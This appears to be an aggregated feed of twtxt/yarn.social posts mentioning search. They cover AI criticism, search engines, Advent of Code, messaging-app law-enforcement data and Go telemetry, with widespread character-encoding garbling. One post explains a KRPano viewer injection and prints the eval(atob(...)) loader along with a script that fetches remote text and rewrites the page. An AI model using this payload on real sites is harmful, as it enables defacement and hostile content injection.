@prologic@twtxt.net Letâs go through it one by one. Hereâs a wall of text that took me over 1.5 hours to write.
The criticism of AI as untrustworthy is a problem of misapplication, not capability.This section says AI should not be treated as an authority. This is actually just what I said, except the AI phrased/framed it like it was a counter-argument.
The AI also said that users must develop âAI literacyâ, again phrasing/framing it like a counter-argument. Well, that is also just what I said. I said you should treat AI output like a random blog and you should verify the sources, yadda yadda. That is âAI literacyâ, isnât it?
My text went one step further, though: I said that when you take this requirement of âAI literacyâ into account, you basically end up with a fancy search engine, with extra overhead that costs time. The AI missed/ignored this in its reply.
Okay, so, the AI also said that you should use AI tools just for drafting and brainstorming. Granted, a very rough draft of something will probably be doable. But then you have to diligently verify every little detail of this draft â okay, fine, a draft is a draft, itâs fine if it contains errors. The thing is, though, that you really must do this verification. And I claim that many people will not do it, because AI outputs look sooooo convincing, they donât feel like a draft that needs editing.
Can you, as an expert, still use an AI draft as a basis/foundation? Yeah, probably. But hereâs the kicker: You did not create that draft. You were not involved in the âthought processâ behind it. When you, a human being, make a draft, you often think something like: âOkay, I want to draw a picture of a landscape and thereâs going to be a little house, but for now, Iâll just put in a rough sketch of the house and add the details later.â You are aware of what you left out. When the AI did the draft, you are not aware of whatâs missing â even more so when every AI output already looks like a final product. For me, personally, this makes it much harder and slower to verify such a draft, and I mentioned this in my text.
Skill Erosion vs. Skill EvolutionYou, @prologic@twtxt.net, also mentioned this in your car tyre example.
In my text, I gave two analogies: The gym analogy and the Google Translate analogy. Your car tyre example falls in the same category, but Geminiâs calculator example is different (and, again, gaslight-y, see below).
What I meant in my text: A person wants to be a programmer. To me, a programmer is a person who writes code, understands code, maintains code, writes documentation, and so on. In your example, a person who changes a car tyre would be a mechanic. Now, if you use AI to write the code and documentation for you, are you still a programmer? If you have no understanding of said code, are you a programmer? A person who does not know how to change a car tyre, is that still a mechanic?
No, youâre something else. You should not be hired as a programmer or a mechanic.
Yes, that is âskill evolutionâ â which is pretty much my point! But the AI framed it like a counter-argument. It didnât understand my text.
(But what if thatâs our future? What if all programming will look like that in some years? I claim: Itâs not possible. If you donât know how to program, then you donât know how to read/understand code written by an AI. You are something else, but youâre not a programmer. It might be valid to be something else â but that wasnât my point, my point was that youâre not a bloody programmer.)
Geminiâs calculator example is garbage, I think. Crunching numbers and doing mathematics (i.e., âcomplex problem-solvingâ) are two different things. Just because you now have a calculator, doesnât mean itâll free you up to do mathematical proofs or whatever.
What would have worked is this: Letâs say youâre an accountant and you sum up spendings. Without a calculator, this takes a lot of time and is error prone. But when you have one, you can work faster. But once again, thereâs a little gaslight-y detail: A calculator is correct. Yes, it could have âbugsâ (hello Intel FDIV), but its design actually properly calculates numbers. AI, on the other hand, does not understand a thing (our current AI, that is), itâs just a statistical model. So, this modified example (âaccountant with a calculatorâ) would actually have to be phrased like this: Suppose thereâs an accountant and you give her a magic box that spits out the correct result in, what, I donât know, 70-90% of the time. The accountant couldnât rely on this box now, could she? Sheâd either have to double-check everything or accept possibly wrong results. And that is how I feel like when I work with AI tools.
Gemini has no idea that its calculator example doesnât make sense. It just spits out some generic âargumentâ that it picked up on some website.
3. The Technical and Legal Perspective (Scraping and Copyright)The AI makes two points here. The first one, I might actually agree with (âbad bot behavior is not the fault of AI itselfâ).
The second point is, once again, gaslighting, because it is phrased/framed like a counter-argument. It implies that I said something which I didnât. Like the AI, I said that you would have to adjust the copyright law! At the same time, the AI answer didnât even question whether itâs okay to break the current law or not. It just said âlol yeah, change the lawsâ. (I wonder in what way the laws would have to be changed in the AIâs âopinionâ, because some of these changes could kill some business opportunities â or the laws would have to have special AI clauses that only benefit the AI techbros. But I digress, that wasnât part of Geminiâs answer.)
tl;drExcept for one point, I donât accept any of Geminiâs âcriticismâ. It didnât pick up on lots of details, ignored arguments, and I can just instinctively tell that this thing does not understand anything it wrote (which is correct, itâs just a statistical model).
And it framed everything like a counter-argument, while actually repeating what I said. Thatâs gaslighting: When Alice says âthe sky is blueâ and Bob replies with âwhy do you say the sky is purple?!â
But it sure looks convincing, doesnât it?
Never againThis took so much of my time. I wonât do this again. đ
About ChatGPT rotting peopleâs brains, similarly could be said about search engines, and reference books. Oh, also doom scrolling, and mobile devices, and the Internet⌠:-P
Farrrk me Google search is and these days. Will they please âfuck offâ with this Gemini AI garbage at the top that takes forever and is distracting as shit⢠đŠ Fark me đ¤Śââď¸ #Google #Search #Sucks #AI #Gemini
@movq@www.uninformativ.de Yeah I actually use sift a lot these days for most âsearchingâ â at least code and text searching. For finding files by name I still use find | grep.
@andros@twtxt.andros.dev what makes Kagi âthe best search engineâ? It is premium, alright. Allegedly you donât get ads, but pay up-front for it, monthly.
@thecanine@twtxt.net Yeah this is where I think all the hype really falls down. Itâs all just a really really expensive search engine and auto-complete đ¤Śââď¸ Thatâs it!
/ME slipping a note under @klaxzy@klaxzy.netâs keyboard.
Note: âYou should check https://marginalia-search.com/ I bet youâll love it.â
Hmmm thereâs a bug somewhere in the way Iâm ingesting archived feeds đ¤
sqlite> select * from twts where content like 'The web is such garbage these days%';
hash = 37sjhla
feed_url = https://twtxt.net/user/prologic/twtxt.txt/1
content = The web is such garbage these days đ Or is it the garbage search engines? đ¤
created = 2024-11-14T01:53:46Z
created_dt = 2024-11-14 01:53:46
subject = #37sjhla
mentions = []
tags = []
links = []
sqlite>
Timeline of Evolution of Twtxt/Yarn.social:
- 2016 â Twtxt created by John Downey: plain text + HTTP = minimalist microblogging
- 2017â2019 â Community builds CLI tools, but adoption remains niche
- 2020 â Yarn.social launched by @prologic@twtxt.net with federation, threading, UI
- 2021â2023 â Pods sync, user mentions, blocking, search, and media support added
- 2024+ â Yarn.social becomes the reference Twtxt platform, with active federated pods
Dam the search here is sooo good now đ
Anyway. this was a good use for search btw. I couldnât find my Twt, so I just quickly searched for it, snap, bingo I found it in a snap! đŤ°
@prologic@twtxt.net, from IRC:
- Saving preferences is failing. Specifically trying to save âOpen Linksâ on the same window. For sure it isnât happening. Check errors on browserâs console.
- Search results pagination is broken. Search for âtwtxt.netâ and see it. Also, picking oldest/newest makes no difference on that search query.
@prologic@twtxt.net I can live without highlights. Actually, I prefer not to have them. A good search is all I want.
Search syntax appears to be:
hello
"hello world"
hello AND world
hello OR world
hello NOT world
"this is a phrase"
@prologic@twtxt.net pretty neat, search actually works now!
@lyse@lyse.isobeef.org Iâm open to other suggestions 𤣠But hopefully both adding the additional prompt, not allowing it to enter shell history and removing from my shell history prevents me from doing such silly things in haste by pressing ^R and using fuzzy search which if you type fast you sometimes get wrong đ
FYI: Iâve re-opened up search for anonymous use. So things like this now work without having to have an account on this pod or login. đ #search #twtxt
@slashdot@feeds.twtxt.net Who the F+++ still uses gooâs search engine anyway xD Shout out to all my homies hosting a Searx instance đđ¤
So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml parameter has a url that contains the following
<?xml version="1.0"?>
<krpano version="1.0.8.15">
<SCRIPT id="allow-copy_script"/>
<layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>
the omit above is base64 encoded script below:
const queryParams = new URLSearchParams(window.location.search),
id = queryParams.get('id');
id ? fetch('https://sour.is/superhax.txt')
.then(e => e.text())
.then(e => {
document.open(), document.write(e), document.close();
})
.catch(e => {
console.error('Error fetching the user agent:', e);
}) : console.error('No');
this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.
@andros@twtxt.andros.dev Sorry I missed your messages to #twtxt on IRC. There are people there, but it can take several hours to get a response. E.g. I check it every day or two. I recommend using an IRC bouncer. To answer your question about registries, I used a couple of registries when I first started out, to try to find feeds to follow, but havenât since then. I donât remember which ones, but they were easy to find with web searches.
I share I did write up an algorithm for it at some point I think it is lost in a git comment someplace. Iâll put together a pseudo/go code this week.
Super simple:
Making a reply:
- If yarn has one use that. (Maybe do collision check?)
- Make hash of twt raw no truncation.
- Check local cache for shortest without collision
- in SQL:
select len(subject) where head_full_hash like subject || '%'
- in SQL:
Threading:
- Get full hash of head twt
- Search for twts
- in SQL:
head_full_hash like subject || '%' and created_on > head_timestamp
- in SQL:
The assumption being replies will be for the most recent head. If replying to an older one it will use a longer hash.
Diving into mblaze, I think Iâve nearly* reached peek email geek.
Just a bunch of shell commands I can pipe together to search, list, view and reply to email (after syncing it to a local Maildir).
EXAMPLES at https://git.vuxu.org/mblaze/tree/README
So far Iâm using most of the tools directly from the command line, but I might take inspiration from https://sr.ht/~rakoo/omail/ to make my workflow a bit more efficient.
*To get any closer, I think Iâd have to hand-craft my own SMTP client or something.
@movq@www.uninformativ.de Yes, the tools are surprisingly fast. Still, magrep takes about 20 seconds to search through my archive of 140K emails, so to speed things up I would probably combine it with an indexer like mu, mairix or notmuch.
@prologic@twtxt.net I believe you when you say registries as designed today do not crawl. But when I first read the spec, it conjured in my mind a search engine. Now I donât know how things work out in practice, but just based on reading, I donât see why it canât be an API for a crawling search engine. (In fact I donât see anything in the spec indicating registry servers shouldnât crawl.)
(I also noticed that https://twtxt.readthedocs.io/en/latest/user/registry.html recommends âThe registries should sync each others user list by using the users endpointâ. If I understood that right, registering with one should be enough to appear on others, even if they donât crawl.)
Does yarnd provide an API for finding twts? Is it similar?
@prologic@twtxt.net I guess I thought they were search engines. Anyway, the registry API looks like a decent one for searching for tweets. Could/should yarn.social pods implement the same API?
@prologic@twtxt.net Whatâs the difference between search.twtxt.net and the /api/plain/tweets endpoint of a registry? In my mind, a registry is a twtxt search engine. Or are registries not supposed to do their own crawling to discover new feeds?
Never mind, I simply searched and deleted them all (D then ~f sender). :-) Phew!
Have not tried any of them, but some of these seem to fit the bill:
Added support for #tag clouds and #search to timeline. Based on code from @dfaria.eu@dfaria.euđ
Live at: http://darch.dk/timeline/?profile=https://darch.dk/twtxt.txt
So, I finally got day 17 to under a second on my machine. (in the test runner it takes 10)
I implemented a Fibonacci Heap to replace the priority queue to great success.
https://git.sour.is/xuu/advent-of-code/src/branch/main/search.go#L168-L268
OH MY FREAKING HECK. So.. I made my pather able to run as Dijkstra or A* if the interface includes a heuristic.. when i tried without the heuristic it finished faster :|
So now to figure out why its not working right.
man⌠day17 has been a struggle for me.. i have managed to implement A* but the solve still takes about 2 minutes for me.. not sure how some are able to get it under 10 seconds.
Solution: https://git.sour.is/xuu/advent-of-code/src/branch/main/day17/main.go
A* PathFind: https://git.sour.is/xuu/advent-of-code/src/branch/main/search.go
some seem to simplify the seen check to only be horizontal/vertical instead of each direction.. but it doesnât give me the right answer
The word forms is part two. In this one you want to find the first digit and last digit. Think searching â1â - â9â
I could have made my search smarter using a prefix search rather than scanning the full buffer for each iteration.
@prologic@twtxt.net I use the gmail webapp for work, and I have to say that over the years itâs gotten less and less usable. There are so many little usability things that itâs bad at. For instance, if you select a message and hit the Delete key nothing happens. The message is not put in the trash like youâd expect. There are issues like that scattered all over the app. I suspect they spend most of their energy on the spyware side of gmail and dedicate less to making it a useful app for end users (which seems to be true of their search engine too).
@jmjl@tilde.green Iâm sorry that Iâm not super knowledgeable about alternatives to jmp.chat but Iâll tell you what I know.
Youâre probably right about jmp.chat not working for you, at least as it is now. You can only get US and Canadian phone numbers through it last time I checked, so if youâre not in either of those countries youâd be making international calls all the time and people who wanted to call you would be making international calls too.
Iâve seen people talk about using SIP as an intermediary: you can bridge SIP-to-XMPP, and bridge SIP-to-PSTN (PSTN = âpacket switched telephone networkâ, meaning normal telephone). You can skip the SIP-to-XMPP side if youâre comfortable using a SIP client. I donât know very much about SIP or PSTN so I am not sure what to recommend, but perhaps this helps your search queries.
There are a fair number of services like TextNow that let you sign up for a real telephone number that you can then use via their app (I wouldnât use TextNowâthey had tons of spyware in their app). I donât know if that kind of service works for you but if it does perhaps youâd be able to find one of them that isnât horrible. This page (https://alternativeto.net/software/jmp-chat/) has a bunch of alternatives; I canât vouch for any of them but maybe itâs a starting point if you want to go this route.
Good luck!
@marado@twtxt.net Itâs very different. Language models are part if traditional search engines and translation engines. The new policy mentions Cloud AI abd Bard specifically. This is a weird change and probably a good preemptive move as I said previously. Iâm not sure why youâre downplaying it
An official FBI document dated January 2021, obtained by the American association âProperty of Peopleâ through the Freedom of Information Act.

This document summarizes the possibilities for legal access to data from nine instant messaging services: iMessage, Line, Signal, Telegram, Threema, Viber, WeChat, WhatsApp and Wickr. For each software, different judicial methods are explored, such as subpoena, search warrant, active collection of communications metadata (âPen Registerâ) or connection data retention law (â18 USC§2703â). Here, in essence, is the information the FBI says it can retrieve:
Apple iMessage: basic subscriber data; in the case of an iPhone user, investigators may be able to get their hands on message content if the user uses iCloud to synchronize iMessage messages or to back up data on their phone.
Line: account data (image, username, e-mail address, phone number, Line ID, creation date, usage data, etc.); if the user has not activated end-to-end encryption, investigators can retrieve the texts of exchanges over a seven-day period, but not other data (audio, video, images, location).
Signal: date and time of account creation and date of last connection.
Telegram: IP address and phone number for investigations into confirmed terrorists, otherwise nothing.
Threema: cryptographic fingerprint of phone number and e-mail address, push service tokens if used, public key, account creation date, last connection date.
Viber: account data and IP address used to create the account; investigators can also access message history (date, time, source, destination).
WeChat: basic data such as name, phone number, e-mail and IP address, but only for non-Chinese users.
WhatsApp: the targeted personâs basic data, address book and contacts who have the targeted person in their address book; it is possible to collect message metadata in real time (âPen Registerâ); message content can be retrieved via iCloud backups.
Wickr: Date and time of account creation, types of terminal on which the application is installed, date of last connection, number of messages exchanged, external identifiers associated with the account (e-mail addresses, telephone numbers), avatar image, data linked to adding or deleting.
TL;DR Signal is the messaging system that provides the least information to investigators.
I never paid a lot of attention to Ben Shapiro before, but what he says is so transparently asinine it boggles the senses. You really have to have a Fox-addled mind to believe that the search for the submersible was completely faked and that the powers-that-be knew the entire time that it had imploded. To believe that a vast conspiracy among hundreds, thousands (?) of people from several countries and spanning several days was orchestrated to lie to the public in order toâŚ..uh, achieve what exactly? âUndermine institutional credibilityâ? What does that even mean?
This is âthe moon landing was fakedâ levels of conspiracy theory.
@prologic@twtxt.net The hackathon project that I did recently used openai and embedded the response info into the prompt. So basically i would search for the top 3 most relevant search results to feed into the prompt and the AI would summarize to answer their question.
@prologic@twtxt.net I get the worry of privacy. But I think there is some value in the data being collected. Do I think that Russ is up there scheming new ways to discover what packages you use in internal projects for targeting ads?? Probably not.
Go has always been driven by usage data. Look at modules. There was need for having repeatable builds so various package tool chains were made and evolved into what we have today. Generics took time and seeing pain points where they would provide value. They werenât done just so it could be checked off on a box of features. Some languages seem to do that to the extreme.
Whenever changes are made to the language there are extensive searches across public modules for where the change might cause issues or could be improved with the change. The fs embed and strings.Cut come to mind.
I think its good that the language maintainers are using what metrics they have to guide where to focus time and energy. Some of the other languages could use it. So time and effort isnât wasted in maintaining something that has little impact.
The economics of the âspyingâ are to improve the product and ecosystem. Is it âspyingâ when a municipality uses water usage metrics in neighborhoods to forecast need of new water projects? Or is it to discover your shower habits for nefarious reasons?
how install gomodot? also.. @prologic@twtxt.net your domain has some pretty strong SEO mojo searching for install "gomodot" puts you on the google first page. 
@prologic@twtxt.net, search for âquarkâ and you will get quack, quart, quirk, and all possible iterations. Not too helpful.
@prologic@twtxt.net let us take the path of less resistance, that is, less effort, for now. I am going to be a great-grandfather before search ever get implemented locally, least one to search on âall podsâ. In other words, let us donât bite more than we can chew. đš Neep-gren!
@fastidious@arrakis.netbros.com, I am sure profitâor the search for itâwas involved. Most likely that pilot was a Ferengi in disguise. We are known to visit lesser planets seeking to exploit. Sometimes it works out, sometimes it doesnât. Hoping my fellow Ferengi fares well or, at the very least, lets me know where his Latinum is.
A 556 IC is functionally the same as two 555 ICs, but Iâve decided the 555 is better because search engines donât confuse it for ammunition as much.
Is it me, or Gmailâs web interface is going down the drain? Using Safariâmy default browserâoften takes two, or three clicks to open an email. If it werenât because its search is amazing, I would never visit its web interface.
@eldersnake@yarn.andrewjvpowell.com
Google or (insert your favourite search engine here) have never let me down. Also, Youtube has repair guides, and HOWTOs for just about anything, and everything.
@movq@www.uninformativ.de
Do I need to do a search and replace on my feed to fix old entries? Thanks for quick fix!
@adi@f.adi.onl Yes, it didâat least I donât see the same issue as before on twtxt.net. Weird, as it was never an issue on other pods. đ¤ˇđťââď¸